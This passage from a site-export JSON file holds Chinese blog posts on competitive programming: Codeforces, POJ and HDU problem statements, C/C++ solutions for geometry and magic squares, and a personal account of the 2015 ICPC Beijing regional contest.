61 62 } 63 64 65 66 67 #ifndef ONLINE_JUDGE 68 #endif 69 fclose(stdin); 70 return 0; 71}","date":"2015-11-23","externalUrl":null,"permalink":"/2015/11/luckynumber/","section":"Posts","summary":"https://icpcarchive.ecs.baylor.edu/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=4704 题目大意是说，定义一个数的lucky number是距离i最远的j且满足（a[i]\u003ca[j] i\u003cj）。","tags":["水题"],"title":"uva 6692 Lucky Number","type":"post"},{"categories":["ACM"],"content":"C. Day at the Beach time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output One day Squidward, Spongebob and Patrick decided to go to the beach. Unfortunately, the weather was bad, so the friends were unable to ride waves. However, they decided to spent their time building sand castles. At the end of the day there were n castles built by friends. Castles are numbered from 1 to n, and the height of the i-th castle is equal to h__i. When friends were about to leave, Squidward noticed, that castles are not ordered by their height, and this looks ugly. Now friends are going to reorder the castles in a way to obtain that condition h__i ≤ h__i + 1 holds for all i from 1 to n - 1. Squidward suggested the following process of sorting castles: Castles are split into blocks – groups of consecutive castles. Therefore the block from i to j will include castles_i_, i + 1, …, j. A block may consist of a single castle. The partitioning is chosen in such a way that every castle is a part of exactly one block. Each block is sorted independently from other blocks, that is the sequence h__i, h__i + 1, …, h__j becomes sorted. The partitioning should satisfy the condition that after each block is sorted, the sequence h__i becomes sorted too. This may always be achieved by saying that the whole sequence is a single block. Even Patrick understands that increasing the number of blocks in partitioning will ease the sorting process. Now friends ask you to count the maximum possible number of blocks in a partitioning that satisfies all the above requirements. Input The first line of the input contains a single integer n (1 ≤ n ≤ 100 000) – the number of castles Spongebob, Patrick and Squidward made from sand during the day. The next line conta","date":"2015-11-20","externalUrl":null,"permalink":"/2015/11/codeforces332div2c-dayatthebeach/","section":"Posts","summary":"C. Day at the Beach time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output One day Squidward, Spongebob and Patrick decided to go to the beach. Unfortunately, the weather was bad, so the friends were unable to ride waves. However, they decided to spent their time building sand castles.","tags":["算法竞赛"],"title":"codeforces #332 div 2 C. Day at the Beach","type":"post"},{"categories":["ACM"],"content":"B. Spongebob and Joke time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output While Patrick was gone shopping, Spongebob decided to play a little trick on his friend. The naughty Sponge browsed through Patrick’s personal stuff and found a sequence _a_1, _a_2, …, a__m of length m, consisting of integers from 1 to n, not necessarily distinct. Then he picked some sequence _f_1, _f_2, …, f__n of length n and for each number a__i got number b__i = f__a__i. To finish the prank he erased the initial sequence a__i. It’s hard to express how sad Patrick was when he returned home from shopping! We will just say that Spongebob immediately got really sorry about what he has done and he is now trying to restore the original sequence. Help him do this or determine that this is impossible. Input The first line of the input contains two integers n and m (1 ≤ n, m ≤ 100 000) – the lengths of sequences f__i and b__i respectively. The second line contains n integers, determining sequence _f_1, _f_2, …, f__n (1 ≤ f__i ≤ n). The last line contains m integers, determining sequence _b_1, _b_2, …, b__m (1 ≤ b__i ≤ n). Output Print “Possible” if there is exactly one sequence a__i, such that b__i = f__a__i for all i from 1 to m. Then print m integers_a_1, _a_2, …, a__m. If there are multiple suitable sequences a__i, print “Ambiguity”. If Spongebob has made a mistake in his calculations and no suitable sequence a__i exists, print “Impossible”. Sample test(s) input 3 3 3 2 1 1 2 3 output Possible 3 2 1 input 3 3 1 1 1 1 1 1 output Ambiguity input 3 3 1 2 1 3 3 3 output Impossible Note In the first sample 3 is replaced by 1 and vice versa, while 2 never changes. The answer exists and is unique. In the second sample all numbers are replaced by 1, ","date":"2015-11-20","externalUrl":null,"permalink":"/2015/11/codeforces332div2b-spongebobandjoke/","section":"Posts","summary":"B. Spongebob and Joke time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output While Patrick was gone shopping, Spongebob decided to play a little trick on his friend. The naughty Sponge browsed through Patrick’s personal stuff and found a sequence _a_1, _a_2, …, a__m of length m, consisting of integers from 1 to n, not necessarily distinct. Then he picked some sequence _f_1, _f_2, …, f__n of length n and for each number a__i got number b__i = f__a__i. To finish the prank he erased the initial sequence a__i.","tags":["算法竞赛"],"title":"codeforces #332 div 2 B. Spongebob and Joke","type":"post"},{"categories":["ACM"],"content":"1#include \u003ccstdio\u003e 2#include \u003ciostream\u003e 3#include \u003ccmath\u003e 4using namespace std; 5long long d1,d2,d3; 6int main() 7{ 8cin\u003e\u003ed1\u003e\u003ed2\u003e\u003ed3; 9long long ans = 999999999999; 10ans = min(ans,d1+d2+d3); 11ans = min (ans,d1*2+d2*2); 12ans = min (ans,d1*2+2*d3); 13ans = min(ans,d2*2+2*d3); 14cout\u003c\u003cans\u003c\u003cendl; 15return 0; 16} time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Today Patrick waits for a visit from his friend Spongebob. To prepare for the visit, Patrick needs to buy some goodies in two stores located near his house. There is a _d_1 meter long road between his house and the first shop and a _d_2 meter long road between his house and the second shop. Also, there is a road of length _d_3 directly connecting these two shops to each other. Help Patrick calculate the minimum distance that he needs to walk in order to go to both shops and return to his house. Patrick always starts at his house. He should visit both shops moving only along the three existing roads and return back to his house. He doesn’t mind visiting the same shop or passing the same road multiple times. The only goal is to minimize the total distance traveled. Input The first line of the input contains three integers _d_1, _d_2, _d_3 (1 ≤ _d_1, _d_2, _d_3 ≤ 108) – the lengths of the paths. _d_1 is the length of the path connecting Patrick’s house and the first shop; _d_2 is the length of the path connecting Patrick’s house and the second shop; _d_3 is the length of the path connecting both shops. Output Print the minimum distance that Patrick will have to walk in order to visit both shops and return to his house. Sample test(s) input 10 20 30 output 60 input 1 1 5 output 4 Note The first sample is shown on the picture in the problem statement. One of th","date":"2015-11-20","externalUrl":null,"permalink":"/2015/11/codeforces332div2a-patrickandshopping/","section":"Posts","summary":"1#include \u003ccstdio\u003e 2#include \u003ciostream\u003e 3#include \u003ccmath\u003e 4using namespace std; 5long long d1,d2,d3; 6int main() 7{ 8cin\u003e\u003ed1\u003e\u003ed2\u003e\u003ed3; 9long long ans = 999999999999; 10ans = min(ans,d1+d2+d3); 11ans = min (ans,d1*2+d2*2); 12ans = min (ans,d1*2+2*d3); 13ans = min(ans,d2*2+2*d3); 14cout\u003c\u003cans\u003c\u003cendl; 15return 0; 16} time limit per test 1 second","tags":["算法竞赛"],"title":"codeforces #332 div 2   A. Patrick and Shopping","type":"post"},{"categories":["随笔杂谈"],"content":"热身赛的时候发现没有codeblocks瞬间爆炸…我从暑假开始用的vim还好…不过两个队友平常用codeblocks的。。 还好有热身赛。。然后cch晚上强行学emacs。。。最后现场赛的时候我用vim写。。队友用emacs写2333 键盘有些别扭。。。上面是日文还是注音。。。看不懂== 总按错。。。 然后竟然有201个队。。。 才90个牌子。。。尼玛竟然不按比例来。。。55%的打铁率是闹哪样。。。 当得知这个消息的时候。。我们的内心真的是崩溃的。。。没有常用的cb其实已经够不爽的了（可以现学其他，但是总归是不熟练呀） 本来就觉得自己没底。。。这样更感觉要打铁了。。。 当时我们已经相互安慰了好么。。。。尽力就好尽力就好2333 ** ** 比赛开始以后先是zcy和cch读题。。。我先配了一发vim环境。。。写了几个常用的。。。然后把编译和运行设置成了快捷键。。 弄好了之后cch发现j可以写。。。然后就写了j.. 然后我看了G。。。发现是个水。。几乎是原题？ 白书上那个是三个矩形。。。这个是四选三。。。 不过抱着看到熟悉的题更要细心的精神。。。我又仔细读了遍题。。。发现确实水，貌似G才是签到？（然而并不是 这时候cch写完了J不过在调。。。 *然后我就在草稿纸上把G仔细列了下。。。好像一共（8+12）4种情况的样子。。。 这时候CCH交了一发J。。。竟然WA了。。。然后我表示把代码打出来吧我要写G。。。 然后大概写到一半…? cch表示找到写错的地方了。。。于是改J。。 又WA。。。有点方啊。。。然后在机器上debug一会。。。还是有问题。。。 我表示让我先过了G再说吧。。。 然后我大概花了10分钟写完了G。。。交。。卧槽竟然交成了gcc，幸好CE不算罚时。 再交，A了。。 然后CCH发现J题意理解错了（J我没读。。。不过后来发现好多人吐槽J题题意不清而且不好理解。。。朝鲜队WA了好多发） 然后改，再交，终于A了。。。这时候大概过了一个小时？ 不那么慌了。。。 然后继续开新题。。。我看了F。。计算几何。。。因为赛前一直在刷计算几何。。结果想了半小时的样子…?发现好难。。放弃了。。 这个时候CCH和 ZCY在讨论D？（我不确定2333） 然后我看了下通过题目。。发现K题有人过。。就去看K了。。。CCH去看了A。。。 这个时候ZCY写了一发D。。。写完之后发现好像想错了QAQ.. 看了一会CCH说A就是个二维树状数组，可以搞。 然后他就开始写A。。。 **好像因为树状数组的sum函数忘了 return 而WA了一发。。。? 再交，过了。。。 ** 这时候大概是十一点半。。通过三题。。排名大概在80+？ 大家一起吃午餐时间，kfc有点良心 然后可以搞的题貌似是K和I。。。 于是我开始搞I。。。 一个构造题。。。 大概弄了二十分钟..? 搞出来了。 感觉剩下的题没有很好搞得… 决定剩下的时间就搞I。。四题应该能稳。。 然后我拿着草稿纸把我的构造方法和CCH讨论了下。。。他表示好像很有道理的样子2333 觉得I可以撸。。。。我问CCH你写我写，我细节题有点虚。。他说他写吧。。。毕竟CCH是我们队实力最强的。。这种时候还是求稳比较好。。。 然后中间好像调了好久。。。 不过反正不方！因为我们剩下的题并没有明显可以搞得。。。于是剩下的时间可以都用来搞I。。。 大概1:35的时候吧。。。I终于调对了（1到10的数据检验了下），交，过了，爽！ 然后最后25分钟。。。大家一起搞K。。各种打表试图找规律。。。然并卵。。。因为那是道数位Dp2333 并不会。 当时大概预感到能拿Cu了。。。 不过说真的。。能不能拿Cu我都炒鸡开心。。。 因为并不是抱大腿了。。。我真的特别不喜欢那种抱大腿的感觉。。。 最后72名Cu.. 虽然只是块Cu吧。。但是真的炒鸡开心。。。 因为基本上。。我们会的题都做出来了。。。我们想了的但是没有成型思路的题最后发现思路根本就不对。。。 还有几何那道题。。怎么处理交点我实在没想出。。。。。 杜宇飞讲题的时候说“你们都懂得的四道题我就不说了”hhh，我们就是做出了那四道。。。 其实原本打算北京之后就退役的。。。 但是这块Cu真的给我了很大的鼓舞。。不仅仅是ACM。。对于课程内的东西也是鼓舞。。。 这周要忙着应付考试。。。 下个期待大概是十二月","date":"2015-11-16","externalUrl":null,"permalink":"/2015/11/2015-icpc-beijing-regional-onsite/","section":"Posts","summary":"热身赛的时候发现没有codeblocks瞬间爆炸…我从暑假开始用的vim还好…不过两个队友平常用codeblocks的。。","tags":["算法竞赛"],"title":"2015亚洲区域赛北京站总结","type":"post"},{"categories":["ACM"],"content":"c语言上机。。。。 c写的幻方。 1/************************************************************************* 2\u003e File Name: code/class/7.c 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月11日 星期三 19时31分50秒 6************************************************************************/ 7 8#include\u003cstdio.h\u003e 9#include \u003cstring.h\u003e 10 11int n; 12int a[105][105]; 13 13 14 15void swap(int *a,int *b) 16{ 17int tmp; 18tmp = *a; 19*a = *b; 20*b = tmp; 21} 22int fix_x( int x,int k,int n) 23{ 24if (k%2==1) 25{ 26if (x==0) 27return n; 28else return x; 29} 30else 31{ 32if (x==n) 33return n+n; 34else return x; 35} 36} 37int fix_y ( int y,int k,int n) 38{ 39if (k\u003c3) 40{ 41if (y==n+1) 42return 1; 43else return y; 44} 45else 46{ 47if (y==2*n+1) 48return n+1; 49else return y; 50} 51// if (y==n+1) 52// return 1; 53// else return y; 54} 55void print() 56{ 57for ( int i = 1 ; i \u003c= n ; i++) 58{ 59for ( int j = 1 ; j \u003c= n ; j++) 60printf(\"%d \",a[i][j]); 61 61 62printf(\"n\"); 63} 64 64 65} 66 66 67void OddMagic(int n,int x,int y,int k) //k表示4中状态。。。。 68{ 69 69 70int cur ; 71if (k==1) cur = 1; 72if (k==4) cur = n*n+1; 73if (k==3) cur = n*n*2+1; 74if (k==2) cur = n*n*3+1; 75int cnt = 1; 76while (cnt\u003c=n*n) 77{ 78a[x][y]=cur; 79int prex = x; 80int prey = y; 81cur++; 82cnt++; 83x--; 84y++; 85x = fix_x(x,k,n); 86y = fix_y(y,k,n); 87if (a[x][y]) 88{ 89x = prex+1; 90y = prey; 91} 92 92 93} 94 94 95} 96int main() 97{ 98memset(a,sizeof(a),0); 99scanf(\"%d\",\u0026n); 100if (n%2==1) 101{ 102int x = 1; 103int y = n/2+1; 104OddMagic(n,x,y,1); 105} 106else 107{ 108if (n%4==0) 109{ 110for ( int i = 1,num=1 ; i \u003c= n ; i++) 111for ( int j = 1 ; j \u003c= n ; j++,num++) 112a[i][j]=num; 113 114 115for ( int i = 1 ; i \u003c= n ; i++) 116{ 117for ( int j = 1 ; j \u003c= n ; j++) 118{ 119if (i==j||i+j\u003e=n+1) continue; 120int tmp; 121tmp = a[i","date":"2015-11-11","externalUrl":null,"permalink":"/2015/11/%e5%b9%bb%e6%96%b9/","section":"Posts","summary":"c语言上机。。。。 c写的幻方。 1/************************************************************************* 2\u003e File Name: code/class/7.c 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月11日 星期三 19时31分50秒 6************************************************************************/ 7 8#include\u003cstdio.h\u003e 9#include \u003cstring.h\u003e 10 11int n; 12int a[105][105]; 13 13 14 15void swap(int *a,int *b) 16{ 17int tmp; 18tmp = *a; 19*a = *b; 20*b = tmp; 21} 22int fix_x( int x,int k,int n) 23{ 24if (k%2==1) 25{ 26if (x==0) 27return n; 28else return x; 29} 30else 31{ 32if (x==n) 33return n+n; 34else return x; 35} 36} 37int fix_y ( int y,int k,int n) 38{ 39if (k\u003c3) 40{ 41if (y==n+1) 42return 1; 43else return y; 44} 45else 46{ 47if (y==2*n+1) 48return n+1; 49else return y; 50} 51// if (y==n+1) 52// return 1; 53// else return y; 54} 55void print() 56{ 57for ( int i = 1 ; i \u003c= n ; i++) 58{ 59for ( int j = 1 ; j \u003c= n ; j++) 60printf(\"%d \",a[i][j]); 61 61 62printf(\"n\"); 63} 64 64 65} 66 66 67void OddMagic(int n,int x,int y,int k) //k表示4中状态。。。。 68{ 69 69 70int cur ; 71if (k==1) cur = 1; 72if (k==4) cur = n*n+1; 73if (k==3) cur = n*n*2+1; 74if (k==2) cur = n*n*3+1; 75int cnt = 1; 76while (cnt\u003c=n*n) 77{ 78a[x][y]=cur; 79int prex = x; 80int prey = y; 81cur++; 82cnt++; 83x--; 84y++; 85x = fix_x(x,k,n); 86y = fix_y(y,k,n); 87if (a[x][y]) 88{ 89x = prex+1; 90y = prey; 91} 92 92 93} 94 94 95} 96int main() 97{ 98memset(a,sizeof(a),0); 99scanf(\"%d\",\u0026n); 100if (n%2==1) 101{ 102int x = 1; 103int y = n/2+1; 104OddMagic(n,x,y,1); 105} 106else 107{ 108if (n%4==0) 109{ 110for ( int i = 1,num=1 ; i \u003c= n ; i++) 111for ( int j = 1 ; j \u003c= n ; j++,num++) 112a[i][j]=num; 113 114 115for ( int i = 1 ; i \u003c= n ; i++) 116{ 117for ( int j = 1 ; j \u003c= n ; j++) 118{ 119if (i==j||i+j\u003e=n+1) continue; 120int tmp; 121tmp = a[i][j]; 122a[i][j] = a[n+1-i][n+1-j]; 123a[n+1-i][n+1-j] = tmp; 124} 125} 126} 127else 128{ 129int x = 1; 130int y = n/4+1; 131int hn = n/2; 132 133OddMagic(hn,x,y,1); 134OddMagic(hn,x+hn,y,2); 135OddMagic(hn,x,y+hn,3); 136OddMagic(hn,x+hn,y+hn,4); 137 138int m = n/4; 139for ( int i = 1 ; i \u003c= hn ;i++) 140{ 141for ( int j = 1 ; j \u003c= m ; j++) 142{ 143int tmp; 144if (i==m+1\u0026\u0026j;==m) 145{ 146tmp = a[m+1][m+1]; 147a[m+1][m+1] = a[m+1+hn][m+1]; 148a[m+1+hn][m+1] = tmp; 149continue; 150 151} 152tmp = a[i][j]; 153a[i][j] = a[i+hn][j]; 154a[i+hn][j] = tmp; 155// swap(a[i][j],a[i+n][j]); 156} 157} 158 159for ( int i = 1 ; i \u003c= hn ; i++) 160{ 161for ( int j = n ; j\u003e=n-m+2 ; j--) 162{ 163int tmp; 164tmp = a[i][j]; 165a[i][j] = a[i+hn][j]; 166a[i+hn][j] = tmp; 167} 168} 169 170 171 172 173} 174} 175print(); 176 177}","tags":["算法竞赛"],"title":"幻方....","type":"post"},{"categories":["ACM"],"content":"C. A Problem about Polyline time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output There is a polyline going through points (0, 0) - (x, x) - (2_x_, 0) - (3_x_, x) - (4_x_, 0) - … - (2_kx_, 0) - (2_kx_ + x, x) - …. We know that the polyline passes through the point (a, b). Find minimum positive value x such that it is true or determine that there is no such x. Input Only one line containing two positive integers a and b (1 ≤ a, b ≤ 109). Output Output the only line containing the answer. Your answer will be considered correct if its relative or absolute error doesn’t exceed10 - 9. If there is no such x then output - 1 as the answer. Sample test(s) input 3 1 output 1.000000000000 input 1 3 output -1 input 4 1 output 1.250000000000 Note You can see following graphs for sample 1 and sample 3. 题意： 有从原点开始，斜率分别为1和-1的折线周期下去，问是否存在x使得整点（a,b)在折线上，存在的话求最小的x，无解输出-1. 思路：由于斜率为1，所以x\u003e=y.那么x 对于x\u003e=y的情况：我们发现（a,b）点如果是落在斜率为1的折线上，那么该折线与x轴的交点为（a-b,0） **如果(a,b)点落在落在斜率为-1的折线上，那么该折线与x轴的交点为（a+b,0） ** 分析可知，如果a+b为奇数，那么一定会落在斜率为-1的折线上，如果a-b为偶数，一定会落在斜率为1的折线上。 而（a+b）不为偶数和（a-b）补为偶数不可能同时成立。 因为碎玉x\u003e=y的情况一定有解。 二分答案即可（其实还有一种比较偷懒（比较聪明？）的办法是…不去考虑是否一定有解。把二分的初始条件设置为-1就好) 不过证明无解也并不难想。 需要注意的是精度问题。。。eps要记得根据题目调整。。。比如这道题要求1E-9… eps至少比要求的多两位才保险。。。。 因为忘记调整eps(因为一般题目要求都是1E-6。。。所以我eps写的是1E-8)而wa了好多次。。。。 1/************************************************************************* 2\u003e File Name: code/cf/#320/C.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月10日 星期二 16时54分46秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cv","date":"2015-11-11","externalUrl":null,"permalink":"/2015/11/codeforces320div2c-aproblemaboutpolyline/","section":"Posts","summary":"C. A Problem about Polyline time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output There is a polyline going through points (0, 0) - (x, x) - (2_x_, 0) - (3_x_, x) - (4_x_, 0) - … - (2_kx_, 0) - (2_kx_ + x, x) - ….","tags":["算法竞赛"],"title":"codeforces #320 div 2 C. A Problem about Polyline(计算几何？数学)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-10","externalUrl":null,"permalink":"/2015/11/cf320b-findingteammember/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"cf #320 B. Finding Team Member（优先队列）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-10","externalUrl":null,"permalink":"/2015/11/poj1113wall/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 1113 Wall (凸包模板题）","type":"post"},{"categories":["ACM"],"content":"Max Angle # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 678 Accepted Submission(s): 238 ** Problem Description Given many points in a plane, two players are playing an interesting game. Player1 selects one point A as the vertex of an angle. Then player2 selects other two points B and C. A, B and C are different with each other. Now they get an angle B-A-C. Player1 wants to make the angle as large as possible, while player2 wants to make the angle as small as possible. Now you are supposed to find the max angle player1 can get, assuming play2 is c lever enough. Input There are many test cases. In each test case, the first line is an integer n (3 \u003c= n \u003c= 1001), which is the number of points on the plane. Then there are n lines. Each contains two floating number x, y, witch is the coordinate of one point. n \u003c= 0 denotes the end of input. Output For each test case, output just one line, containing the max angle player1 can get in degree format. The result should be accurated up to 4 demicals. Sample Input 3 0 0 2 0 0 5 -1 Sample Output 90.0000 Source 2010 ACM-ICPC Multi-University Training Contest（10）—-Host by HEU 题意是说。先选一个点A，然后选两个点B,C。 使得每个A对应的最小角B-A-C最大。 我们可以枚举每个点，然后求得这个点和其他所有点所成的角度，排序后找到一组相邻的差值最小的，记录为mn 然后对于每个点得到的mn,记录最大的一个，就是答案。 角度怎么搞呢… atan2(y,x)是个好东西。 atan2(y,x)表示点(0,0)到（x,y）的射线与x轴正向所成的角度，取值范围介于 -pi 到 pi 之间（不包括 -pi）， 我们可以处理下把角度变成0到2*pi之间。 ** **还要注意直线的角度不可能是钝角。所以如果答案为钝角记得取补。 1A，开心。 1/************************************************************************* 2\u003e File Name: code/hdu/3552.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月09日 星期一 10时20分55秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#i","date":"2015-11-09","externalUrl":null,"permalink":"/2015/11/hdu3532maxangleatan2/","section":"Posts","summary":"Max Angle # **Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 678 Accepted Submission(s): 238 **","tags":["算法竞赛"],"title":"hdu 3532 Max Angle(atan2的使用)","type":"post"},{"categories":["ACM"],"content":"Transmitters **Time Limit:** 1000MS **Memory Limit:** 10000K **Total Submissions:** 4817 **Accepted:** 2576 Description In a wireless network with multiple transmitters sending on the same frequencies, it is often a requirement that signals don’t overlap, or at least that they don’t conflict. One way of accomplishing this is to restrict a transmitter’s coverage area. This problem uses a shielded transmitter that only broadcasts in a semicircle. A transmitter T is located somewhere on a 1,000 square meter grid. It broadcasts in a semicircular area of radius r. The transmitter may be rotated any amount, but not moved. Given N points anywhere on the grid, compute the maximum number of points that can be simultaneously reached by the transmitter’s signal. Figure 1 shows the same data points with two different transmitter rotations. All input coordinates are integers (0-1000). The radius is a positive real number greater than 0. Points on the boundary of a semicircle are considered within that semicircle. There are 1-150 unique points to examine per transmitter. No points are at the same location as the transmitter. Input Input consists of information for one or more independent transmitter problems. Each problem begins with one line containing the (x,y) coordinates of the transmitter followed by the broadcast radius, r. The next line contains the number of points N on the grid, followed by N sets of (x,y) coordinates, one set per line. The end of the input is signalled by a line with a negative radius; the (x,y) values will be present but indeterminate. Figures 1 and 2 represent the data in the first two example data sets below, though they are on different scales. Figures 1a and 2 show transmitter rotations that result in maximal coverage. Output For each transmitter, the ","date":"2015-11-09","externalUrl":null,"permalink":"/2015/11/poj1106transmitters/","section":"Posts","summary":"Transmitters **Time Limit:** 1000MS **Memory Limit:** 10000K **Total Submissions:** 4817 **Accepted:** 2576 Description In a wireless network with multiple transmitters sending on the same frequencies, it is often a requirement that signals don’t overlap, or at least that they don’t conflict. One way of accomplishing this is to restrict a transmitter’s coverage area. This problem uses a shielded transmitter that only broadcasts in a semicircle.","tags":["算法竞赛"],"title":"poj 1106 Transmitters (计算几何，叉积||极角排序)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-08","externalUrl":null,"permalink":"/2015/11/poj2007scrambledpolygon/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 2007 Scrambled Polygon （极角排序模板题）","type":"post"},{"categories":["ACM"],"content":"20190211update:工作的时候看同事ocr的代码，发现有一段就是极角排序orz…所以说算法还是有用的… 先介绍几种极角排序： 1.利用叉积的正负来作cmp.(即是按逆时针排序).此题就是用这种方法 1 bool cmp(const point \u0026a, const point \u0026b)//逆时针排序 2 { 3 point origin; 4 origin.x = origin.y = 0; 5 return cross(origin,b,origin,a) \u003c 0; 6 } 2.利用complex的内建函数。 1 #include 2 #define x real() 3 #define y imag() 4 #include 5 using namespace std; 6 7 bool cmp(const Point\u0026 p1, const Point\u0026 p2) 8 { 9 return arg(p1) \u003c arg(p2); 10 } 3.利用arctan计算极角大小。（范围『-180，180』） 1 bool cmp(const Point\u0026 p1, const Point\u0026 p2) 2 { 3 return atan2(p1.y, p1.x) \u003c atan2(p2.y, p2.x); 4 } 4.利用象限加上极角，叉积。 1 bool cmp(const point \u0026a, const point \u0026b)//先按象限排序，再按极角排序，再按远近排序 2 { 3 if (a.y == 0 \u0026\u0026 b.y == 0 \u0026\u0026 a.x*b.x \u003c= 0)return a.x\u003eb.x; 4 if (a.y == 0 \u0026\u0026 a.x \u003e= 0 \u0026\u0026 b.y != 0)return true; 5 if (b.y == 0 \u0026\u0026 b.x \u003e= 0 \u0026\u0026 a.y != 0)return false; 6 if (b.y*a.y \u003c= 0)return a.y\u003eb.y; 7 point one; 8 one.y = one.x = 0; 9 return cross(one,a,one,b) \u003e 0 || (cross(one,a,one,b) == 0 \u0026\u0026 a.x \u003c b.x); 10}","date":"2015-11-08","externalUrl":null,"permalink":"/2015/11/%e6%9e%81%e8%a7%92%e6%8e%92%e5%ba%8f%e7%9a%84%e5%87%a0%e7%a7%8d%e5%b8%b8%e8%a7%81%e7%9a%84%e6%96%b9%e5%bc%8f/","section":"Posts","summary":"20190211update:工作的时候看同事ocr的代码，发现有一段就是极角排序orz…所以说算法还是有用的…","tags":["算法竞赛"],"title":"极角排序的几种常见的方式","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-08","externalUrl":null,"permalink":"/2015/11/poj2318toys/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 2318 TOYS (计算几何）","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-08","externalUrl":null,"permalink":"/2015/11/poj2074lineofsight/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 2074 Line of Sight (计算几何，细节题)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-07","externalUrl":null,"permalink":"/2015/11/poj2826aneasyproblem-easy/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"poj 2826 An Easy Problem?! (线段相交问题终极版...并不easy)","type":"post"},{"categories":["ACM"],"content":"","date":"2015-11-06","externalUrl":null,"permalink":"/2015/11/hdu3264open-airshoppingmalls/","section":"Posts","summary":"","tags":["算法竞赛"],"title":"hdu 3264 Open-air shopping malls(求圆相交的面积，二分）","type":"post"},{"categories":["ACM"],"content":"A - You can Solve a Geometry Problem too **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Many geometry（几何）problems were designed in the ACM/ICPC. And now, I also prepare a geometry problem for this final exam. According to the experience of many ACMers, geometry problems are always much trouble, but this problem is very easy, after all we are now attending an exam, not a contest :) Give you N (1\u003c=N\u003c=100) segments（线段）, please output the number of all intersections（交点）. You should count repeatedly if M (M\u003e2) segments intersect at the same point. Note: You can assume that two segments would not intersect at more than one point. Input Input contains multiple test cases. Each test case contains a integer N (1=N\u003c=100) in a line first, and then N lines follow. Each line describes one segment with four float values x1, y1, x2, y2 which are coordinates of the segment’s ending. A test case starting with 0 terminates the input and this test case is not to be processed. Output For each case, print the number of intersections, and one line one case. Sample Input 2 0.00 0.00 1.00 1.00 0.00 1.00 1.00 0.00 3 0.00 0.00 1.00 1.00 0.00 1.00 1.00 0.000 0.00 0.00 1.00 0.00 0 Sample Output 1 3 给N个线段。问交点总数。 多条线段相交于同一个点算多次。 规范相交和非规范相交都算。 规范相交就是，交点不能是线段的端点。 而非规范相交可以。 1/************************************************************************* 2\u003e File Name: code/hdu/1086.cpp 3\u003e Author: 111qqz 4\u003e Email: rkz2013@126.com 5\u003e Created Time: 2015年11月06日 星期五 13时41分46秒 6************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#i","date":"2015-11-06","externalUrl":null,"permalink":"/2015/11/hdu1086a-youcansolveageometryproblemtoo/","section":"Posts","summary":"A - You can Solve a Geometry Problem too **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Many geometry（几何）problems were designed in the ACM/ICPC. And now, I also prepare a geometry problem for this final exam. According to the experience of many ACMers, geometry problems are always much trouble, but this problem is very easy, after all we are now attending an exam, not a contest :) Give you N (1\u003c=N\u003c=100) segments（线段）, please output the number of all intersections（交点）. You should count repeatedly if M (M\u003e2) segments intersect at the same point.","tags":["算法竞赛"],"title":"hdu 1086  A - You can Solve a Geometry Problem too （线段的规范相交\u0026\u0026非规范相交）","type":"post"},{"categories":["ACM"],"content":"改革春风吹满地 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 24179 Accepted Submission(s): 12504 ** Problem Description \" 改革春风吹满地, 不会AC没关系; 实在不行回老家， 还有一亩三分地。 谢谢!（乐队奏乐）\" 话说部分学生心态极好，每天就知道游戏，这次考试如此简单的题目，也是云里雾里，而且，还竟然来这么几句打油诗。 好呀，老师的责任就是帮你解决问题，既然想种田，那就分你一块。 这块田位于浙江省温州市苍南县灵溪镇林家铺子村，多边形形状的一块地，原本是linle 的，现在就准备送给你了。不过，任何事情都没有那么简单，你必须首先告诉我这块地到底有多少面积，如果回答正确才能真正得到这块地。 发愁了吧？就是要让你知道，种地也是需要AC知识的！以后还是好好练吧… Input 输入数据包含多个测试实例，每个测试实例占一行，每行的开始是一个整数n(3\u003c=n\u003c=100)，它表示多边形的边数（当然也是顶点数），然后是按照逆时针顺序给出的n个顶点的坐标（x1, y1, x2, y2… xn, yn）,为了简化问题，这里的所有坐标都用整数表示。 